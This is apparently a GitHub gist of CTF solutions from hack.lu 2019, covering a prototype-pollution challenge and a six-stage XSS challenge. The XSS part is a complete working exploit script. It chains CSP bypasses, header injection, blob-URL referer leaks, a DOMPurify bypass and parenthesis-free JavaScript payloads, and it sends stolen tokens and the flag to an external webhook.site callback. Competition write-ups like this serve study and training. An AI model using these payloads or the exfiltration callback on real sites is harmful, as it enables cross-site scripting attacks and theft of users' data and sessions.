Skip to content

Instantly share code, notes, and snippets.

@terjanq
Created October 24, 2019 12:15
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save terjanq/fdb23ae109446b826a4b37df88efae07 to your computer and use it in GitHub Desktop.
Save terjanq/fdb23ae109446b826a4b37df88efae07 to your computer and use it in GitHub Desktop.
Solutions from hacklu 2019 CTF
/*
* This is a solution to "Car repair shop" challenge from hack.lu ctf 2019
* Solves: 9
* 10/23/2019 © by terjanq
*/
/* The idea of the solution is: */
function WoW(){ this.Oo = 'O.o'; }
var x = new WoW();
var y = new WoW();
console.log(x + ''); // [object Object]
console.log(y + ''); // [object Object]
x.__proto__.__proto__ = ["Wow, I overode toString on Object!"]
console.log(y + ''); // Wow, I overode toString on Object!
URL = "https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?repair=%7B%22key%22:%22%F0%9F%94%91%22,%22__proto__%22:%7B%22__proto__%22:[%22lol%22]%7D%7D&help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/aaaa/,alert()//a.js#BugattiPorsche"
/* override key so we can ignite the car, override Object.prototype.toString so we pass
* $.md5(porsche) == '9cdfb439c7876e703e307864c9167a15', where it's a hash of "lol" string
* ?repair={"key":"🔑","__proto__":{"__proto__":["lol"]}}
*/
/* regex /^\w{4,5}:\/\/car-repair-shop\.fluxfingersforfuture\.fluxfingers\.net\/[\w\d]+\/.+\.js$/
* allows to indlude data: scheme. data://foooooooo/foooo/,alert() results in plaintext alert()
* &help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/aaaa/,alert()//a.js
*/
/* run the cars!
* #BugattiPorsche
*/
/*
* This is a solution to "Do You Even XSS?" challenge from hack.lu ctf 2019
* Solves: 3
* Works only on chromium based browsers.
* 10/23/2019 © by terjanq
*/
/* https://doyouevenxss.fluxfingersforfuture.fluxfingers.net/?msg=%3C/script%3E%3Cscript/src=//terjanq.me/solutions/xss_hard_hacklu.js%3E%3C/script%3E */
// callback to your server
const cb = '//webhook.site/3688c22b-4d94-4680-bfa3-85faed2b5836';
const cb_mode = {mode:'no-cors'};
const PROTOCOL = 'https'; // for admin it must be http
// construct the URL
function constructURL(protocol, domain, parameters = {}, path = '', trim=true){
let url = new URL(`${protocol}://${domain}`);
url.pathname = path;
for(let key in parameters){
let value = parameters[key];
if(trim) value = value.trim();
url.searchParams.append(key, value);
}
return url.href;
}
// construct stage url
function stageURL(stage, parameters={}, path=''){
return constructURL(PROTOCOL, `${stage}.doyouevenxss.fluxfingersforfuture.fluxfingers.net`, parameters, path);
}
// construct url ot external resources
function terjanqURL(path='',parameters={}){
return constructURL(PROTOCOL, `terjanq.me`, parameters, path);
}
// Output to the console and send to the server
function log(stage, token) {
fetch(`${cb}?${stage}=${encodeURIComponent(token)}`, cb_mode);
console.log(`${stage.toUpperCase()}: ${token}`);
}
// Simply ping my server for debugging purposes
function ping(d){
fetch(cb+'/?ping='+d, cb_mode);
}
// Ping the server to see when admin visited
ping(iframe.src);
// sleep function to use in async functions
const sleep = d => new Promise(r => setTimeout(r, d));
// keep track of the most recent inserted iframe
let current_iframe = iframe;
// Make function asynchronous so we can use awaits
(async() => {
// This is a polyglot that can be used in both eval(name) and location=name
// It sets document.domain to top domain so iframes can communicate with
// each other
const default_name = "javascript:document.domain='fluxfingers.net',1"
eval(default_name);
// wait for onload event in iframe
const wait_for_iframe = x => new Promise(r => x.onload = x.onerror = r);
// wait for token and return it
const wait_for_token = async(stage, token, key, value, name = default_name) => {
// create new iframe to the stage, requires token and injection
let x = document.createElement('iframe');
current_iframe = x;
let params = {token:token};
params[key] = value;
x.src = stageURL(stage, params);
x.name = name;
document.body.appendChild(x);
// wait for iframe to be loaded
await wait_for_iframe(x);
// wait up to 2 seconds after iframe load and exit infinite loop otherwise
let start = performance.now();
while(1){
if(performance.now() - start > 2000){
return;
}
// check if we can access token yet, otherwise keep running
try {
let t = x.contentWindow.token || x.contentWindow.flag;
log(stage, t);
return t;
} catch (e) {
await sleep(100);
}
}
}
// STAGE0
// The whole process begins on Stage0 and includes this script
// In each step we require to retrieve a token to next level
// injection (msg):
// </script><script src=//14.rs></script>
// url:
// https://doyouevenxss.fluxfingersforfuture.fluxfingers.net/?msg=%3C/script%3E%3Cscript%20src=//14.rs%3E%3C/script%3E
/* Script started with: https://doyouevenxss.fluxfingersforfuture.fluxfingers.net/?msg=%3C/script%3E%3Cscript/src=//terjanq.me/solutions/xss_hard_hacklu.js%3E%3C/script%3E */
// STAGE1
// goal:
// use opentip-jquery to bypass CSP and execute script via 'strict-dynamic'
// injection (tooltip):
// <div data-ot="<script>alert(1337)</script>" data-ot-show-on="creation">
// url:
// https://stage1.doyouevenxss.fluxfingersforfuture.fluxfingers.net/?debug&tooltip=%3Cdiv%20data-ot=%22%3Cscript%3Ealert(1337)%3C/script%3E%22%20data-ot-show-on=%22creation%22%3E
let s1 = await wait_for_token('stage1', token, 'tooltip', `
<div data-ot="<script>document.domain='fluxfingers.net'</script>" data-ot-show-on="creation">
`);
// STAGE2
// goal:
// craft short xss payload
// injection (hint):
// "><svg/onload=alert()>
// url:
// https://stage2.doyouevenxss.fluxfingersforfuture.fluxfingers.net/?debug&hint=%22%3E%3Csvg/onload=alert()%3E
let s2 = await wait_for_token('stage2', s1, 'hint', `
"><svg/onload=location=name>
`);
// STAGE3
// goal:
// header injection in HTTP response allows overriding CSP
// injection (cdn):
// ;script-src-elem data: 'unsafe-inline';<script src="data:,alert(1337)"></script>
// url:
// https://stage3.doyouevenxss.fluxfingersforfuture.fluxfingers.net/?debug&cdn=;script-src-elem%20data:%20%27unsafe-inline%27;%3Cscript%20src=%22data:,alert(1337)%22%3E%3C/script%3E
let s3 = await wait_for_token('stage3', s2, 'cdn', `
;script-src-elem data: 'unsafe-inline';<script src="data:,${default_name}"><\/script>
`);
// STAGE4
// goal:
// This is the hardest stage.
// - we control everything that is passed to new Blob() but then the input
// is sanitized and sent to another frame
// - we can leak the id of the blob via referer
// - CSP allows to include iframes with blob url, blob url has the same origin as parent window
// - there is extension in markdown that allows including iframes through
// /i/http://example.org
// injection (md) first round:
// <script src=//14.rs></script>
// /i/https://terjanq.me/get_referer.php
// injection (md) second round:
// /i/blob:https://stage4.doyouevenxss.fluxfingersforfuture.fluxfingers.net/<blob_id>
// URL:
// <construct yourself, debug parameter does not work>
// sets the payload and leaks the referer blob_id from it
// we don't want to wait for this since it will never return the token
wait_for_token('stage4', s3, 'md', `
<script src="${terjanqURL(
'xss.php',
{plain:"parent.parent.document.domain='fluxfingers.net'"}
)}"></\script>
/i/${terjanqURL('get_referer.php')}
`);
// wait for onmessage event that will leak the blob_id from referer
let referer_blob_id;
await new Promise(r => {
window.addEventListener('message', e => {
if (e.data && e.data.referer) {
let ref = e.data.referer;
referer_blob_id = /content=([a-f0-9\-]+)/.exec(ref)[1];
r();
}
});
});
// use blob_id
let s4 = await wait_for_token('stage4', s3, 'md', `
/i/blob:${stageURL('stage4', {}, referer_blob_id)}
`);
// STAGE5
// goal:
// DOMPurify.removed.length only contains removed attributes then inserts
// original payload easy unintended bypass with <script>
// injection (homepage):
// <script>alert()</script>
// URL:
// https://stage5.doyouevenxss.fluxfingersforfuture.fluxfingers.net/?debug&homepage=%3Cscript%3Ealert(1337)%3C/script%3E
// Intended solution:
// Use the same bug but use dangling markup to invalidate <script src="bookmarks.js">
// then define bookmarks with DOMClobbering
// https://stage5.doyouevenxss.fluxfingersforfuture.fluxfingers.net/?debug&homepage=%3Ca+id=bookmarks%3E%3Cli%20data-id=lol%3E%3Ca+id=bookmarks+name=trnq+href=javascript:alert(1337)#lol%22]%20a[name=%22trnq
let s5 = await wait_for_token('stage5', s4, 'homepage', `
<script>location=name</script>
`);
// STAGE6
// goal:
// javascript without parentheses
// injection (radius):
// 42';onerror=alert,throw/1/;'
// URL:
// https://stage6.doyouevenxss.fluxfingersforfuture.fluxfingers.net/?debug&radius=42%27;onerror=alert,throw/1/;%27
let s6 = await wait_for_token('stage6', s5, 'radius', `
42';location=name;x='
`); // I used simpler payload with "location=name"
// FLAG
// goal:
// just get the flag
// injection (youDidIt):
// alert(flag)
// URL:
// https://flag.doyouevenxss.fluxfingersforfuture.fluxfingers.net/?debug&youDidIt=alert(flag)
let flag = await wait_for_token('flag', s6, 'youDidIt', `
location=name
`);
alert(flag);
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment